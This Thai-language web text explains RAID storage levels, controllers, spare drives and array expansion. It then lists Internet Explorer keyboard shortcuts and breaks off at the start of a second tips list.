ข้อมูลในตัวที่พังก็ยังคงมีเก็บ "สำรองเผื่อเสีย" ไว้ การแก้ไข ก็เพียงเอาฮาร์ดดิสก์ใหม่มาเปลี่ยน แล้วค่อยๆ ผ่องถ่ายข้อมูลที่ฮาร์ดดิสก์ตัวเก่าที่พังไปเคยฝากไว้กับฮาร์ดดิสก์ตัวอื่นลงมาใหม่ๆ ทำให้สมบูรณ์แบบ ทั้งหมดนั้นเรียกว่าระบบ Fault Tolerance คือ แทนที่ว่าฮาร์ดดิสก์พังไปตัวหนึ่งก็ต้อง "Down" เซิร์ฟเวอร์ ทำให้ระบบต้องหยุดชะงัก เพื่อป้องกันความเสียหายดังกล่าว จะต้องสร้างระบบให้คงทนต่อความเสียหาย ฮาร์ดดิสก์พังไปแล้วหนึ่งตัว ระบบยังทำงานต่อไปเหมือนไม่มีอะไรเกิดขึ้น (On-the Fly) โดยวิธีการนี้ จะต้องใช้ RAID คำจำกัดความของ RAID คือ เทคโนโลยีของหน่วยเก็บข้อมูลที่ใช้เพื่อปรับปรุงระบบให้มีความสามารถในการประมวลผลเกี่ยวกับการจัดเก็บข้อมูล เทคโนโลยีดังกล่าวจะออกแบบเพื่อให้ระบบการจัดเก็บข้อมูลแบบอะเรย์มีความเชื่อถือได้ และเพื่อใช้ข้อดีของการนำประสิทธิภาพที่เพิ่มขึ้นจากการเพิ่มฮาร์ดดิสก์เข้าไปในระบบหลายๆ ตัวเข้ามาใช้งาน ฮาร์ดดิสก์ที่ต่อกันเป็นสมาชิกของอะเรย์ (แบบเดียวกับทางคณิตศาสตร์ เรื่องของ อะเรย์) แล้วทำอย่างไรให้ทำงานได้น่าเชื่อถือ แล้วการมีฮาร์ดดิสก์หลายๆ ตัว และให้เขียนและอ่านหลายๆ ตัว พร้อมๆ กัน จะได้ประสิทธิภาพดีกว่าเขียนและอ่านตัวเดียว ซึ่งต้อง "รอ" ให้การเขียนเสร็จสิ้นเป็นคราวๆ ถึงจะเริ่มเขียนใหม่ได ประโยชน์อีกประการของ RAID คือ "เผื่อเสีย" คือ ถ้าตัวหนึ่งเสีย อีกสลับตัวที่สำรองไว้ขึ้นมาทำงานโดยอัตโนมัติ โดยไม่ต้องถูกขัดจังหวะจากการเสียเวลาซ่อมแซม การใช้งานดิสก์ยังคงเกิดขึ้นอย่างปกติ ตัวที่เสีย ระบบคอมพิวเตอร์ก็จะมองผ่านไป ปัจจุบันการนำ RAID มาใช้งานนั้น เกี่ยวกับเซิร์ฟเวอร์เป็นส่วนใหญ่ เมื่อระบบเครือข่ายถูกพัฒนาขึ้นใช้ ความสำคัญของหน่วยเก็บข้อมูล (Storage System) ก็ทวีความสำคัญขึ้น เพราะในเซิร์ฟเวอร์นั้น ถ้าหากว่าฮาร์ดดิสก์ชำรุด ใช้งานไม่ได้ นอกจากจะสูญเสียข้อมูลที่เก็บไว้ในฮาร์ดดิสก์ไปทั้งหมดแล้ว ยังจะต้องเสียเวลาเพื่อรอให้การซ่อมแซมแล้วเสร็จ ซึ่งหมายถึงการสูญเสียโอกาสทางธุรกิจ
ประโยชน์จาก RAID • เอื้อประโยชน์ในการรวมเอาพื้นที่จากฮาร์ดดิสก์หลายๆ ตัวเข้ารวมกันเป็น "ก้อน" ก้อนเดียว • ใช้ประโยชน์จากการ "เข้าถึง" ของฮาร์ดดิสก์แต่ละตัว ซึ่งหมายถึง จะแบ่งข้อมูลออกเป็นบล๊อคย่อยๆ แล้วแยกกันไปเขียน (อ่าน) ลงบนฮาร์ดดิสก์แต่ละตัว ทำให้ย่นระยะเวลาทำงาน และลดระยะเวลาคอย (Wait State) • มีระบบ "เผื่อเสีย" โดยการทำ "Mirroring" หรือ Parity การนำเอาดิสก์หลายๆ ตัวมารวมกันเป็นดิสก์อะเรย์ แล้วกำหนดให้เป็น Logical Drive เพียงหนึ่งตัว นั้นมี "Stripping" เป็นหัวใจในการทำงาน กล่าวได้ว่า Stripping เป็นหลักการพื้นฐานของ RAID คือ เมื่อมีฮาร์ดดิสก์หลายๆ ตัวมารวมกัน การเขียนข้อมูลชุดหนึ่งๆ ลงดิสก์ เพื่อให้ได้ประสิทธิภาพดีที่สุด ต้องมีการ "กระจาย" ข้อมูลลงไปในดิสก์ทุกตัวในอะเรย์ เรียกการกระจายเขียน-อ่านข้อมูลเหล่านี้ว่า Stripping กระบวนการ Stripping นั้นสิ่งที่สำคัญคือ I/O เพราะต้องมีการเข้าถึงฮาร์ดดิสก์ในอะเรย์ ต้องจัดการให้ดิสก์ทุกตัวบรรจุข้อมูลที่ถูกเขียน-อ่าน (Access) ในสภาวะที่สมดุลกัน ยิ่ง RAID Controller ออกแบบเท่าไร ก็จะได้ประสิทธิภาพจาก I/O มากขึ้น สำหรับตัวควบคุมอะเรย์แบบฮาร์ดแวร์ (RAID Controller) การวัดประสิทธิภาพในการทำงาน สิ่งที่นำมาวัดประสิทธิภาพก็คือ I/O Performance
ระดับของ RAID ระดับมาตรฐานของ RAID แบ่งออกได้เป็น 6 ระดับ คือ 0 -5 ที่กล่าวถึงและมีการใช้งานกันบ่อยๆ คือ 0, 1 ,3 5 ส่วน 2 กับ 4 นั้นไม่ได้ใช้งาน และ มีระดับอื่น เช่น 6,7,10,1+0 ,53 ซึ่งเป็นการพัฒนาจากระดับมาตรฐาน RAID 0-5
RAID 0
RAID 0 Block Striping คือ แทนที่ข้อมูลชุดหนึ่งจะถูกเขียนลงในฮาร์ดดิสก์เพียงตัวเดียว ก็จะถูกแบ่งกระจายออกเป็นบล๊อค แล้วก็เขียนลงไปในฮาร์ดดิสก์หลายๆตัว ประสิทธิภาพของดิสก์ดีขึ้น แต่ก็ยังไม่มีระบบ "เผื่อเสีย" ถ้าดิสก์เสียเพียงลูกเดียว ข้อมูลก็หาย ระบบนี้ ใช้ ดิสก์ อย่างน้อย 2 ลูก ระบบนี้ไม่ต้องเสียพื้นที่ของฮาร์ดดิสก์ไว้จัดเก็บข้อมูล "เผื่อเสีย" ทำให้ใช้ความจุของฮาร์ดดิสก์ได้เต็มที่ ประสิทธิภาพสูง เพราะแบ่งกันเขียน แบ่งกันอ่าน เหมาะสำหรับการใช้งานในกรณีการสูญเสียข้อมูลไม่มีผลกระทบต่อการทำงาน เช่น กรณีที่ข้อมูลด้านของวีดีโอออนไลน์ ซึ่งมักมีตัวต้นฉบับที่เก็บเอาไว้ ถ้าเกิดเสียหายก็นำต้นฉบับมาคัดลอกไว้ใหม่ หรือ Proxy Server ที่ต้องการ I/O Performance มากกว่าความวิกฤติของข้อมูล
RAID 1
RAID 1 Disk Mirrior "ดิสก์กระจกเงา" เป็นฮาร์ดดิสก์สองชุด ที่เป็นเสมือน "เงา" ของกันและกัน การทำงานก็คือ เห็นเป็น Logical Drive เดียวกัน แต่ตัวไดรฟ์ที่ใช้งานคนละไดรฟ์ เวลาข้อมูลถูกเขียน ก็จะเขียนลงทั้งสองไดรฟ์เหมือนๆ กัน ถ้าตัวหนึ่งเกิดพังไป อีกตัวหนึ่งก็ยังทำงานได้เหมือนเดิม ข้อเสียของ Disk Mirror คือ ลดประสิทธิภาพของการเขียน-ลงไปมาก เพราะต้องเขียนทั้งสองตัว (เวลาอ่านเพียงตัวเดียว) ราคาแพงเพราะต้องซื้อมาเผื่อไว้อีกชุดหนึ่ง ความเหมาะสมในการใช้งาน เหมาะสมกับระบบงานที่ต้องการความมั่นคงข้อมูลสูงเช่น ระบบบัญชี การเงิน ระบบเงินเดือน ระบบประเภท Online Transaction และระบบที่มีการเข้าถึงข้อมูลแบบสุ่ม โดยที่ขนาดของข้อมูลไม่ใหญ่นัก การ "เผื่อเสีย" ดีมาก แต่ประสิทธิภาพแไม่ดีนัก ราคาก็แพงอีก ระบบนี้ ใช้ Disk อย่างน้อย 2 ลูก
RAID 2
ข้อมูลจะถูก stripe ไปยังดิสก์หลายๆ ตัวในระดับ bit และจะใช้ Hamming Code ECC เป็นเทคนิคสำหรับใช้ทำ error correction โดยจะต้องใช้ดิสก์หนึ่งตัวหรือมากกว่าเป็นที่สำหรับเก็บ Hamming Code ECC นี้ สำหรับการทำงานของ RAID-2 เมื่อมีการเขียนข้อมูลลงในดิสก์ RAID-2 จะคำนวณ ECC ของข้อมูลที่อยู่ใน stripe เดียวกันและเก็บลงใน ECC ดิสก์ ในกรณีที่มีดิสก์ที่เก็บข้อมูลเกิดความเสียหาย RAID ก็จะทำการ recover ข้อมูลได้ด้วยการ rebuild ข้อมูลในดิสก์ตัวที่เสียไปขึ้นมาใหม่จาก ECC ระบบนี้ต้องใช้ ดิสก์เก็บ Hamming Code จำนวนมาก ใกล้เคียงกับ RAID 2 จึงไม่มีใช้ในแง่ธุรกิจ
RAID 3
RAID 3 "Block strip with dedicated parity" เทียบกับ RAID 0 ก็คือ มีการแบ่งเป็น Block เพื่อเขียนลงในไดรฟ์แต่ละตัว แต่ที่เพิ่มมาก็คือ dedicated parity คือ นอกจากเพิ่มประสิทธิภาพแล้ว ยังมีระบบ "เผื่อเสีย" อีก ซึ่งจะใช้ดิสก์ตัวหนึ่งทำ Parity Disk เลย ถ้าหากมีดิสก์ตัวใดตัวหนึ่งเสีย ก็จะดึงข้อมูลจาก Parity Disk นั้นได้ ประสิทธิภาพของ RAID 3 ? ยังไม่ดีนัก เพราะการเขียนข้อมูลนั้นเขียนแบบเรียงลำดับ ระหว่าง Logical Drive ในแต่ละ Physical Drive ไม่ได้เขียนทีละหลายๆไดรฟ์ นอกจากนี้ ทุกๆ ครั้งที่มีการเขียนข้อมูลลงในไดรฟ์ใดก็ตาม จะต้องมีการปรับปรุง (เขียน) ข้อมูลใน Parity Disk ซึ่งต้องเสียเวลาในการคำนวณและการเขียนด้วย ระบบนี้ ใช้ Disk อย่างน้อย 3 ลูก ความเหมาะสมในการใช้งาน เหมาะสมกับข้อมูลวิดีโอ โปรแกรมประยุกต์ที่ต้องการประสิทธิภาพของระบบจัดเก็บข้อมูลสูง หรือฐานข้อมูลที่มีการเข้าถึงข้อมูลแบบลำดับ และข้อมูลมีขนาดใหญ่
RAID 4
RAID 4 “Independent Data disks with shared Parity disk “ เนื่องจาก RAID-3 มีปัญหาในการอ่านและเขียน file เล็กๆ ดังนั้นจึงได้มีการพัฒนา RAID-4 ขึ้นมาโดยปรับปรุง RAID-3 ใหม่โดยเปลี่ยนแปลงการเขียนใหม่จากการเขียนแบบขนานพร้อมกันหมด เป็นการเขียนแบบไม่ขึ้นต่อกันของ disk และเปลี่ยนจากการ access ทีละ bit เป็น block แทน โดยที่แต่ละ block จะมีขนาด 4 - 64 KB นอกเหนือจากนี้ยังคงเหมือน RAID-3 คือใช้ parity disk เพียง 1 ตัวและกระจายข้อมูลในทุก disk ซึ่งการเขียนทีละ block นี้จะช่วยแก้ปัญหา file เล็กๆได้คือ ไม่ต้อง อ่านเขียนข้อมูลพร้อมกันหมดทุก disk และสามารถ อ่านและเขียนข้อมูลใน disk ที่ไม่ได้ทำงานได้อีก RAID-4 ยังคงมีปัญหาในการเขียนเช่นเดียวกับใน RAID-3 RAID-4 จะให้เนื้อที่ในการเก็บข้อมูลเป็น n-1 disk (n คือจำนวน disk ทั้งหมด ) ยังมีปัญหาการ Write ข้อมูลยังต้องรอ Parity Disk ไม่เป็นที่นิยมใช้
RAID 5
RAID 5 "Multiple Blocking with distributed parity" หมายถึงการทำบล๊อกของข้อมูลหลายๆ บล๊อกแล้วก็จัดการส่งไปเขียนลงไปหลายๆ ไดรฟ์ ในส่วนของการ "เผื่อเสีย" ก็มีการจัดเก็บ Parity ไว้ในหลายๆ ไดรฟ์อีก ถ้ามองที่การ "เผื่อเสีย" ก็เหมือนกับ RAID 3 นั้น ที่แตกต่างก็คือ เก็บ Parity ไว้ในหลายๆ ไดรฟ์ โดยมีข้อแม้ว่า ตัวข้อมูลเอง และตัวตรวจสอบ Parity นั้นจะต้องไม่ถูกเก็บไว้ในดิสก์ตัวเดียวกัน! เพราะถ้าเกิดว่าฮาร์ดดิสก์เกิดพังขึ้น ก็ยังคงใช้ Parity มาช่วยในการจัดเตรียมชุดข้อมูลขึ้นใหม่ได้ และแก้ปัญหา RAID 4 .ในการ Write ข้อมูล ระบบนี้ ใช้ Disk อย่างน้อย 3 ลูก ความเหมาะสมในการใช้งาน เหมาะกับการใช้งานกับฐานข้อมูล (Database Server) ระบบอินทราเนท (Intranet Server) ซึ่งเป็นระบบที่มีการอ่านข้อมูลจากฮาร์ดดิสก์เป็นหลัก
RAID 6
RAID-6 “Independent Data disks with two independent distributed parity schemes” เป็นระดับที่เพิ่มขึ้นมาใหม่จาก RAID เดิม โดยนำ RAID-5 มาเพิ่ม parity เข้าไปรวมเป็น 2 parity ซึ่งจะสามารถกู้ข้อมูลกลับคืนมาได้ถึงแม้จะมี disk เสียถึง 2 ตัวพร้อมกัน parity ทั้ง 2 แบบจะใช้ algorithm คนละแบบกัน การเพิ่ม parity เข้าไปนี้จะทำให้เปลือง disk เพิ่ม อีก 1 ลูกและยังทำให้เกิดปัญหาในการเขียนมากกว่า RAID-5 เพราะจะต้องอ่านและเขียน parity เพิ่มขึ้นอีก ดังนั้นประสิทธิภาพในการเขียนจึงต่ำมาก RAID-6 ต้องการอย่างน้อย 4 disk ในการ form RAID-6 และจะมีเนื้อที่ในการเก็บ ข้อมูล n-2 disk
RAID 7
RAID 7 : “Optimized Asynchrony for High I/O Rates as well as High Data Transfer Rates” เป็นระบบเทคโนโลยีเฉพาะของ Storage Computer Corporation ใช้ embedded array control microprocessor เขียนอ่านข้อมูลผ่าน High Speed X-Bus ประสิทธิภาพเป็น 1.5 ถึง 6 เท่า ของ RAID ระดับอื่น แต่ข้อเสียคือเป็นเทคโนโลยีปิดของบริษัทเดียว บริการไม่ดีเท่าที่ควร ระยะเวลารับประกันน้อย ต้นทุนต่อ MB สูงกว่าระดับอื่นๆ ต้องมี UPS ป้องกันข้อมูลสูญหายจาก Cache
RAID 0+1
RAID 0+ 1 “: High Data Transfer Performance” เป็นการนำ Striping แบบ RAID 0 และทำ Mirror แบบ RAID 1 อีกครั้ง ทำให้Transfer ข้อมูลได้เร็ว (RAID 0) และ Reliability (RAID 1) ข้อเสียต้องลงทุนมาก เป็นข้อจำกัดในการขยายระบบงาน (Limited Scalability) ระบบนี้ต้องใช้ดิสก์อย่างน้อย 4 ลูก
RAID 10
RAID 10 “Very High Reliability combined with High Performance” คือการทำ RAID-0 บน RAID-1 หรือ striping บน mirroring RAID-10 มีการสำรองข้อมูลที่สมบูรณ์และมีประสิทธิภาพในการอ่านเขียนข้อมูลสูง แต่จะมีราคาแพงมากเพราะต้องใช้ดิสก์จำนวนมาก จึงเหมาะกับงานที่ต้องการประสิทธิภาพและความน่าเชื่อถือของระบบสูง และจะต้องมีงบประมาณมากด้วย เหมาะสำหรับระบบที่ทำ RAID 1 แล้วต้องการปรับปรุงเพื่อเพิ่ม Performance ระบบนี้ต้องใช้ดิสก์อย่างน้อย 4 ลูก
RAID 53
RAID 53 : “High I/O Rates and Data Transfer Performance” ระบบนี้ที่จริงควรเรียกว่า RAID 03 เพราะว่านำหลักการ Stripping ของ RAID 0 มาร่วมกับ การ Segment Parity แบบ RAID 3 เหมาะสำหรับระบบที่ทำ RAID 3 อยู้แล้วต้องการเพิ่ม Performance ระบบนี้ใช้ดิสก์อย่างน้อย 5 ลูก
ส่วนประกอบของ RAID
RAID Controller ตัวควบคุมระบบ RAID นั้นใช้ได้ทั้งซอฟต์แวร์และฮาร์ดแวร์ หรือใช้รวมกันก็ได้ ซอฟต์แวร์เช่น Windows NT 4.0 สนับสนุน RAID ระดับ 0 ,1 (Striping , Mirroring) และฮาร์ดแวร์จากผู้ผลิตรายต่างๆ ซึ่งมีอยู่มากหลากหลาย เช่น Asustek , Adaptec , DCT ,MTI ซึ่งฮาร์ดแวร์เหล่านั้นมีราคาอยู่ในระหว่างสองหมื่นถึงเป็นล้านบาท กรณีใช้ซอฟต์แวร์เป็น RAID Controller จะมีข้อจำกัดคือ ระดับที่สนับสนุน คือ 0, 1 (Striping , Mirroring) นั้นยังไม่ครอบคลุมระดับ Data Protection ในเรื่องของพาริตี้ ซึ่งมีใน RAID ระดับ 3,5 และใช้กำลังจากโปรเซสเซอร์ ทำให้โปรเซสเซอร์มีเวลาจะไปประมวลผลงานอื่นๆ น้อยลง การใช้ซอฟต์แวร์ควบคุม มีข้อดีคือ ราคาถูกกว่า ไม่ต้องการอุปกรณ์เพิ่มเติมมากนัก ส่วนฮาร์ดแวร์ โดยมากจะได้รับการออกแบบที่ดี แต่ฮาร์ดแวร์ก็มีข้อแตกต่างระหว่างยี่ห้อต่างๆ คือ ประสิทธิภาพในการทำงานแตกต่างกันออกไป การติดตั้งยากกว่าซอฟต์แวร์ควบคุม และราคาการลงทุนค่อนข้างสูงกว่า เพราะต้องการอุปกรณ์เพิ่มเติม ไม่ว่าจะเป็นฮาร์ดดิสก์ เคสสำหรับฮาร์ดดิสก์ โดยเฉพาะระบบ "Hot Swap" แต่ผลของการลงทุนก็คุ้มค่า (เกี่ยวกับ Hardware RAID Controller ดูข้อมูลเพิ่มเติมได้จาก รู้จักกับ RAID Controller) ฮาร์ดดิสก์ที่นำมาต่อเป็น Array (Physical Drive) คือฮาร์ดดิสก์ที่นำมาต่อเข้าเพื่อใช้กับระบบที่จะใช้ RAID จำนวนของฮาร์ดดิสก์นั้น ขึ้นอยู่กับระดับของ RAID ที่เลือกใช้งาน ไดรฟ์อะไหล่ (Spare Drive) เป็นฮาร์ดดิสก์ที่นำมาติดตั้งไว้เป็น "อะไหล่" เผื่อว่าฮาร์ดดิสก์ตัวอื่นๆ ที่ใช้ในระบบ RAID เกิดชำรุดเสียหาย โดยปกติเมื่อไดรฟ์ตัวใดตัวหนึ่งในระบบเกิดเสียหาย ไดรฟ์ที่เป็น "อะไหล่" จะถูกสลับเข้าไปใช้งานแทนที่โดยอัตโนมัติทันที ไดรฟ์ชำรุด (Failed Drive) ฮาร์ดดิสก์ที่ชำรุดเสียหาย เช่นมี Bad Sector หรือตัวระบบกลไกการทำงานเสียหาย หรือไม่ตอบสนองต่อการทำงานของ Host SCSI ไดรฟ์พวกนี้ถือเป็น "ไดรฟ์ชำรุด" จะต้องเอาออกและเปลี่ยนไดรฟ์ดีเข้าไปใหม่ ไดรฟ์ตรรกะ (Logical Drive) เหมือนกับระบบดอสธรรมดา คือ ไม่ใช่ไดรฟ์จริง เป็นเพียงไดรฟ์สมมุติ แต่ใน RAID ไดรฟ์ตรรกะนั้น เกิดจากการรวมเอาไดรฟ์อื่นๆ มารวมกัน ให้เกิดความจุสูงขึ้น Logical Volume ไม่อยากแปลเป็นไทย เอาเป็นแบบเดิม คงความหมายดีกว่า เมื่อต้องการ "ก้อน" ของฮาร์ดดิสก์ที่มีความจุมากขึ้น ทำได้โดยการนำเอา "Logical Drive" มารวมเข้าด้วยกันเป็น Logical Volume นั้นเอง
การจัดการ RAID เมื่อกล่าวถึงการจัดการ RAID ก็เสมือนว่าเรากำลังคุยกันเกี่ยวกับเทคโนโลยี "การจัดเก็บข้อมูล" หรือ Storage Technology ซึ่งมีสองส่วนด้วยกันคือ การเลือกระดับของ RAID ที่เหมาะสมกับการใช้งาน และการจัดการกับไดรฟ์ที่เสียหาย
การเลือกระดับ RAID ที่เหมาะสม RAID แต่ละระดับมีความเหมาะสมเกี่ยวกับการใช้งาน และความต้องการฮาร์ดแวร์ ซอฟต์แวร์ ฮาร์ดดิสก์แตกต่างกัน ดูอ้างอิงได้จากระดับของ RAID ซึ่งกล่าวไว้คร่าวๆ เกี่ยวกับระดับของ RAID และการใช้งาน
การติดตั้ง RAID สามารถทำได้ 3 วิธีดังนี้
• Software RAID CPU ของเครื่องคอมพิวเตอร์จะมีหน้าที่ทำงานทุกอย่างของ RAID ทำให้การทำงานช้าโดยเฉพาะเมื่อต้องทำการคำนวณ parity เช่น RAID-3 และ RAID-5 แต่จะมีราคาถูกเพราะไม่ต้องใช้อุปกรณ์พิเศษอื่น และบาง OS (เช่น Linux, NT) ก็มี software RAID ติดตั้งมาให้แล้ว software RAID สามารถทำงานได้ทั้งบน SCSI และ IDE ดิสก์ แต่อาจจะขาดความสามารถบางอย่างไปเช่น hot swap
• Controllr Hardware RAID (Bus-to-SCSI) จะเป็น RAID controler card ที่ต่อภายในเครื่องคอมพิวเตอร์ผ่านทาง ISA/EISA/PCI bus ทำหน้าที่ต่างๆ ของ RAID แทน CPU ทำให้ OS มองเห็น RAID เป็นเหมือนดิสก์ธรรมดาตัวหนึ่งเท่านั้น โดยปกติ hardware RAID จะทำงานได้เร็วกว่า software RAID ในสภาวะที่ CPU มีการทำงานอย่างหนัก สามารถใช้งานได้กับ OS ที่มี driver รองรับการทำงานของ RAID controler card รุ่นนั้นๆ
• External Hardware RAID (SCSI-to-SCSI) มีลักษณะเป็นกล่องสามารถทำงานได้กับทุก OS เพียงแต่ต่อสายเข้าไปกับ SCSI interface ของเครื่องคอมพิวเตอร์ ก็จะทำให้ OS เห็นเหมือนกับเป็นดิสก์หนึ่งตัว ในกล่องจะมี microprocessor สำหรับการทำงานของ RAID และใช้อุปกรณ์ที่มีความสามารถพิเศษเช่น redundant power supply หรือ hot swap แต่จะมีราคาแพง และความเร็วในการ transfer ข้อมูลจะถูกจำกัดด้วยความเร็วของ SCSI
การจัดการไดรฟ์เสีย การจัดการกับไดรฟ์เสีย ไม่ได้หมายถึงว่า ฮาร์ดดิสก์เสียแล้ว ถึงค่อยคิดว่า จะจัดการอย่างไร แต่หมายถึง จะทำอย่างไรกับ "ระบบเผื่อเสีย" หาฮาร์ดดิสก์มา Standby หรือเปิดไว้รอ เหมือนเตรียมยางรถยนต์อะไหล่ติดไว้ที่ท้ายรถ? อะไหล่หรือ Spare นี่เป็นของ "เผื่อเสีย" แน่นอน คิดอยากมีระบบ "เผื่อเสีย" ก็ต้องลงทุนบ้าง สำหรับ RAID ก็เช่นเดียวกัน ต้องลงทุนซื้อไดรฟ์มาไว้ เรียกว่าเป็น Spare Drive ซึ่งมีทั้ง Global Spare Drive และ Local Spare Drive เป็นสองกลุ่ม ความแตกต่างคือ Local Spare Drive จะเป็นอะไหล่สำหรับ Local Drive เพียงตัวเดียว (แยกให้ออกนะครับ Local Drive ตัวเดียวหมายถึง 1 "ก้อน" หรือ 1 Volume ซึ่งจะรวมได้หลายๆ Physical Drive เพราะ Local Drive ในระบบเครือข่าย แตกต่างจาก Local Drive ของพวกเครื่องพีซี) แต่ Global Spare Drive นั้นเป็นอะไหล่สำรองสำหรับ Local Drive 2 ก้อนขึ้นไป การระบุว่าไดรฟ์ไหนเสีย และการวิเคราะห์อาการเสีย เป็นเทคนิคการออกแบบ RAID Controller ที่ผู้ผลิตรายต่างๆ ต่างก็แข่งขันกันพัฒนา เพราะโดยคุณสมบัติการออกแบบฮาร์ดดิสก์แบบ SCSI แล้ว เป็นไปได้ยากที่ RAID Controller จะตรวจสอบว่าไดรฟ์ไหนเสีย แต่ระบบการตรวจสอบที่เกิดจากการพัฒนาร่วมกันของผู้ผลิต RAID และผู้ผลิตฮาร์ดดิสก์ ที่มีชื่อเทคโนโลยีว่า SAF-TE ก็ทำให้การวิเคราะห์ และวินิจฉัยอาการเสียของฮาร์ดดิสก์เป็นไปได้ง่ายขึ้น การจัดการกับไดรฟ์เสีย ยังมีระบบสนับสนุนหรืออำนวยความสะดวก ซึ่งทำงานสอดคล้องกับระบบ RAID Controller อีกส่วนหนึ่งคือ Hot Plug Drive, Hot Swap Drive Bay ซึ่งหมายถึงการเปลี่ยนฮาร์ดดิสก์โดยอไม่ต้องปิดสวิตช์คอมพิวเตอร์ก่อน และเมื่อเปลี่ยนแล้วนอกจากสามารถใช้งานได้ทันทีแล้ว หากใช้ระบบ RAID ก็สามารถ "Rebuild" คือ สร้างระบบ RAID ในฮาร์ดดิสก์ก้อนใหม่ได้ทันที
การเพิ่มขนาดของ Logical Volume ขนาดของ Logical Drive นั้น ขึ้นกับความจุและจำนวนของฮาร์ดดิสก์ที่นำมาเพิ่มในระบบ RAID โดยปกติระบบ RAID จะระบุไว้ว่า กรณีใช้ฮาร์ดแวร์ในการควบคุม ฮาร์ดดิสก์ทั้งหมดที่นำมาเพิ่มในระบบจะต้องมีความจุเท่ากัน การเพิ่มขนาดของ Logical Drive ทำได้โดยการเพิ่มฮาร์ดดิสก์ SCSI เข้าไปในระบบ ถ้าเป็นระบบ RAID เก่าๆ การเพิ่มขนาดของ Logical Drive ทำได้โดยการสำรองข้อมูลทั้งหมด หลังจากนั้นปิดระบบ (ปิดเฉพาะระบบที่ใช้ RAID) ติดตั้งฮาร์ดดิสก์เพิ่มเติมเข้าไปในระบบ และ Config RAID หรือการสร้าง RAID ขึ้นใหม่ วิธีการนี้มีข้อด้อยคือ ใช้เวลาในการดำเนินใหม่ และต้องการผู้เชี่ยวชาญ เพราะในระบบเครือข่าย ถ้าหากต้องมีการ "ติดตั้งระบบใหม่" นั้นหมายถึง การ Config ระบบใหม่ทั้งหมด แต่ระบบคอมพิวเตอร์ที่ใช้ RAID ใหม่ๆ นั้น ใช้หลักการของ Dynamic System Expansion การขยายขนาดของระบบโดยวิธีการง่ายกว่าเดิม โดยวิธีนี้ต้องใช้กับระบบ RAID ที่เป็น RAID Hardware Controller เท่านั้น โดยเมื่อเพิ่มฮาร์ดดิสก์เข้าไปในระบบ (จะเป็น Hot Plug หรือ Non Hot-Plug) ก็ได้ หลังจากนั้นใช้ฟังก์ชันในการตรวจจับ (SCSI Harddisk SCAN) เพื่อตรวจสอบว่ามีฮาร์ดดิสก์ใหม่ถูกติดตั้งเข้าไปในอะเรย์ หลังจากนั้นก็ใช้ฟังก์ชันในการเพิ่มขนาด Logical Volume โดยการ Assign ฮาร์ดดิสก์ใหม่เข้ากับระบบอะเรย์ เพียงไม่กี่นาทีก็เพิ่มขนาดของ Logical Volume ได้
การจัดการและตรวจสอบโดย RAID Controller ฮาร์ดแวร์ RAID Controller ที่ผลิตโดยผู้ผลิตหลายๆ รายๆ มีกลวิธีในการตรวจสอบระบบ DISK Array โดยเริ่มจากการตรวจสอบตัวคอนโทรลเลอร์เอง ไปจนถึงการตรวจสอบฮาร์ดดิสก์ที่เป็นสมาชิกอะเรย์ ได้แก่การตรวจสอบ disk / PSU / Power / Over-Temp แล้วแสดงค่าความผิดพลาด พร้อมทั้งแจ้งเตือนกรณีที่ความผิดพลาดนั้น ถือเป็นความผิดพลาดระดับวิกฤติ
คัดลอกจาก http://www.nextproject.net
1.ค้นหาข้อมูลใน web ที่กำลังใช้งาน เราสามารถ search ข้อมูลใน web ที่กำลังเข้าไปดูอยู่ได้ โดยการกด keyboard Ctrl+F
2.ปุ่มใดแทนคำสั่ง back ได้ ปุ่ม Backspace ใน keyboard สามารถใช้ทดแทนคำสั่ง back เวลา surt net ได้
3.ปิด window ให้เร็วดังใจ ใช้ปุ่ม Ctrl+W ใน keyboard เพื่อปิด window ที่กำลังใช้งานอยู่ได้ครับ ไม่จำเป็นต้องกดปุ่ม close ก็ได้
4.ดู address bar ว่าไปที่ไหนมาบ้าง address bar คือตำแหน่งที่ใช้ในการพิมพ์ url ของ web site ต่าง ๆ.. เราสามารถดูได้ว่าเคยพิมพ์อะไรไปบ้าง โดยการกดปุ่ม keyboard F4 โปรแกรมจะแสดงรายละเอียดให้ทราบ
5.save URL ให้เร็วที่สุด คุณสามารถกดปุ่ม keyboard Ctrl+D เพื่อ save ที่อยู่ใน web site ที่คุณดูอยู่ในปัจจุบันได้ (เผื่อคราวหน้าจะได้ เยี่ยมไปแวะชมอีกได้สะดวกไงครับ)
6.ส่ง web ถูกใจไปให้เพื่อน คุณทราบหรือไม่ว่า web page ต่าง ๆ ที่เราแวะเข้าไป สามารถส่งไปให้เพื่อนดูได้ เพียงแค่เลือกเมนู File เลือก Send และเลือกหัวข้อ Page by Email แค่นี้เพื่อนคุณก็จะได้รับ web ที่มีหน้าตาเหมือนกับที่คุณกำลังดูอยู่ แจ๋ว! ไหมค่ะ
7.เลื่อนดูหน้า web อย่างรวดเร็ว ปกติเวลาจะดูรายละเอียดของ web page แต่ละหน้า จำเป็นต้องใช้เม้าส์คลิกลาก ขึ้น-ลง ด้านบนสุด หรือล่างสุด ทำให้ไม่สะดวกนักสำหรับผู้ไม่ถนัดในการใช้เมาส์ ลองกดปุ่ม keyboard ที่ชื่อว่า Home หรือ End ดู คงช่วยอะไรคุณได้บ้าง..
8.อยาก save ภาพเป็น wallpaper บางครั้งเราแวะไปเยี่ยมชม web site บางแห่ง แล้วถูกใจในรูปภาพนั้น ๆ และอยากจะนำกลับมาเป็น wallpaper สำหรับโปรแกรม Internet Explorer มีตัวช่วยให้คุณครับ เพียงแค่กด คลิกขวาที่บริเวณภาพ จากนั้นเลือกคำสั่ง Set as wallpaper
9.เลื่อนขึ้น-ลง ทีละนิด web page บางหน้าอาจมีความยาวมาก การจะเลื่อนหน้าทีละนิดเพื่ออ่านข้อมูล ถ้าจะใช้เมาส์ บางทีอาจไม่สะดวกนัก ลองใช้ keyboard ปุ่มที่ชื่อว่า Page Up หรือ Page Down ดูซิค่ะ น่าจะดีกว่าเยอะเลย..
10.แสดงพื้นที่บน internet Explorer ให้มากที่สุด ให้กด keyboard F11 เพื่อขยายเต็มหน้าจอ กดอีกครั้งจะเป็นการกลับสู่สภาพเดิมและ30 ทิปเล็กน้อย ๆ ที่ไม่ควรมองข้าม
-------------------------------------------------------------------------------- 1. ในขณะที่คุณกำลังจะ Restart เครื่องใหม่ ก่อนที่จะกดปุ่ม OK ให้คุณกด Shift ค้างไว้ จะทำให้คุณ Restart ได้เร็วขึ้น
